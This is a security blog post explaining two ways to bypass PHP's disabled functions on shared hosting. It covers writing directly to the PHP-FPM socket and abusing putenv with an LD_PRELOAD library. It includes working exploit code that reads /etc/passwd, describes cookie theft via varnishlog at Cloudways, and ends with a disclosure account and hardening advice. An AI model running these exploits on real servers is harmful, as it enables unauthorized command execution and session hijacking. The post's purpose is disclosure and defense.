In the previous part of this series, I repeatedly mentioned that users should not have access to PHP-FPM sockets, not even their own. The main reason is that direct communication with the PHP-FPM socket can influence PHP settings and bypass various restrictions. For example, it can bypass open_basedir limitations or enable system functions that are otherwise disabled.
This article focuses on bypassing disabled functions in PHP and demonstrates how to do it, along with exploring its potential impacts.
It’s important to note that once system functions are enabled, open_basedir loses its significance because its restrictions are not applied when calling system functions.
The exploit
The basic exploit is again very similar to the previous ones. It has two files:
exploit.php
<?php
include "fcgi.php";
$filepath = __DIR__."/index.php";
/* Path to FCGI socket */
$client = new FCGIClient("unix:///run/php/php8.1-fpm.sock", -1);
$req = '/'.basename($filepath);
/* Bypass disable functions and open_basedir if needed and autoprepend file from the input */
$php_value = "disable_functions = \nauto_prepend_file = ".__DIR__."/passwd.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => '',
'REQUEST_URI' => $req,
'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => 'vladimir/smitka',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => 0
);
echo $client->request($params,false);
?>
passwd.php
<?php
echo shell_exec('cat /etc/passwd')
?>
The key part of the exploit is:
$php_value = "disable_functions = \nauto_prepend_file = ".__DIR__."/passwd.php";
Here, we set disable_functions to empty string, effectively enabling all system functions in PHP. We then use a trick with auto_prepend_file to load our own PHP file containing system calls.
Putenv puts you in the risk
Very often, the putenv function is missing from the list of disabled functions. At first glance, this might not seem significant, but on Linux, this function is extremely dangerous. This is partly because its name doesn’t sound as frightening as, for example, shell_exec.
putenv allows setting the LD_PRELOAD environment variable, which causes a defined library to be loaded and executed before calling a system command.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash poc.sh");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
When we compile a C file, it creates a library (e.g., poc.so) that can be used in LD_PRELOAD. The code does a simple thing: it calls a system command that runs a bash script (poc.sh), which can contain any arbitrary commands..
cat /etc/passwd > poc_output.txt
I use this approach because I can easily change what the exploit does by modifying the bash script without needing to recompile the library. In this case, the bash script reads the passwd file and saves the output to poc_output.txt. Alternatively, it could create a reverse shell to a given server (runs nc, socat or simply forwarding shell into /dev/tcp/<ip>/<port>).
<?php
putenv("LD_PRELOAD=".__DIR__."/poc.so");
mail("poc@localhost", "", "", "", "");
echo file_get_contents('poc_output.txt');
?>
In PHP, there are several functions that call system commands in the background and are thus susceptible to behavior modification using LD_PRELOAD. One of these functions is the ordinary mail() function. The code sets our poc.so library to preload, and when mail() is called, the functions from this library are executed.
putenv was very clumsily used in the WooCommerce plugin, which caused many problems for hosting providers trying to make their settings secure after the arrival of PHP 8.
Abusing putenv is the second very effective way to bypass the disabling of system functions in PHP.
Impacts
Why don’t we want users to use system functions? It’s because it opens up a whole new field of action for them, potentially exploiting many more vulnerabilities that might exist in the server configuration.
If permissions are set incorrectly (especially when using a shared www-data user) and relying on open_basedir, the impacts can be fatal.
I have often seen that this method allowed, for example, access to various backups on servers that the administrator did not expect to be accessible and did not address their permissions.
It can allow modification of shared storage if any is found.
And if nothing else, it can enable running malicious tools for further attacks or even cryptocurrency mining, consuming server resources.
It can also provide access to system tools that a regular user shouldn’t have access to.
Real-world Impact: Cloudways Cookie Stealer
During my research, I uncovered several security issues in the Cloudways service configuration. One of these was the ability to bypass the default setting of disabled system functions using both mentioned methods – through a writable FCGI socket and using the putenv function.
Cloudways uses the Varnish tool for caching traffic, through which all website traffic on the server flows. Varnish provides a utility called varnishlog that allows monitoring what’s happening in it.

As a regular user, I shouldn’t have had access to this. However, due to configuration errors, I could run it and examine the unencrypted traffic of all websites on the server (even those that do not actively use the varnish cache).
If we’re lucky and an administrator logs into any website during our monitoring, we can intercept their auth cookies and use them to log in and takeover the web.
Addressing the issue
I reported the problem to Cloudways through DigitalOcean Security on April 23, but unfortunately received no response.
Then I reported the issue a second time to Cloudways Infosec on May 2, again with no response.
Finally I reported the problem a third time through a bug bounty platform on May 17, where it passed validation on May 23, and there has been no response from Cloudways to date.
Once again, I was totally unsuccessful in my quest for a responsible disclosure on Cloudways…
The problem with enabled putenv exists with many other providers, but their statement to this isuue is typically that their administration allows users to modify the list of disabled functions, thus transferring this responsibility to the user. However I would prefer putenv to be included in the list of disabled functions by default, because the average user, or even the average developer, cannot be expected to know the implications of using this function.
You can check which functions you have disabled by outputting phpinfo() (if you’re using some test script for this, make sure you don’t leave it publicly accessible). You can also use my Mini File Browser, which in the Information section shows the allowed dangerous PHP functions.

It’s worth mentioning that enabling system functions isn’t necessarily a immediate risk – for example, in restricted Docker containers where there aren’t many options for what else a user can run. However, the default setup should definitely have these functions disabled. In Cloudways’ case, the problem is compounded by the presence of the varnishlog utility that exposes traffic from all sites on the server to the user
Conclusion
The ability to bypass disabled functions in PHP poses significant security risks, especially in shared hosting environments. It’s crucial for hosting providers to properly configure their systems, including disabling potentially dangerous functions like putenv by default. Users should also be aware of these risks and take steps to secure their own applications. Regular security audits and prompt addressing of reported vulnerabilities are essential in maintaining a secure hosting environment.
Here is a minimal set of functions that should definitely be disabled:
system exec shell_exec passthru proc_open popen pcntl_exec putenv






Leave a reply to Jakub Bouček Cancel reply